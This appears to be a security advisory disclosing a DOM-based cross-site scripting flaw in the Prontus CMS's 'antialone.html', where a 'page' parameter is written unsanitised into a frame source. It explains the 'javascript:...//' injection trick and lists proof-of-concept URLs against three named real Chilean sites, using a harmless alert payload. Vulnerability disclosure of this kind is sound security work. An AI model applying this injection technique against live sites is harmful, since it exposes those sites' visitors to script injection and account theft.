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Prontus is a /chilean/ "CMS" used by many sites in Chile.

The vulnerability is into "antialone.html" which contains some frames
using the value of "page" as "src" attribute:

+-----------------------------antialone.html------------------------------------------+
[...]
page = page + '?' + Math.random();
[...]
document.write('  <frame name="cont" src="' + page + '" marginwidth="0"
marginheight="0">');
[...]
+-------------------------------------------------------------------------------------+


If you enter "javascript:alert(1);" the 'src' will be
"javascript:alert(1);?<random number here>", now you must to "comment"
all after your javascript code. Example: javascript:alert(1);//

Now you can exploit it:

- -
http://www.fonasa.cl/prontus_fonasa/antialone.html?page=javascript:alert%28/XSS/%29;//

- -
http://www.senador.cl/prontus_senado/antialone.html?page=javascript:alert%28/XSS/%29;//

- -
http://www.ucv.cl/p1_rector/antialone.html?page=javascript:alert%28/XSS/%29;//

And many other sites...


Read this report in Spanish: http://bit.ly/p4l50m



- -- 
Zerial
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@jabberes.org
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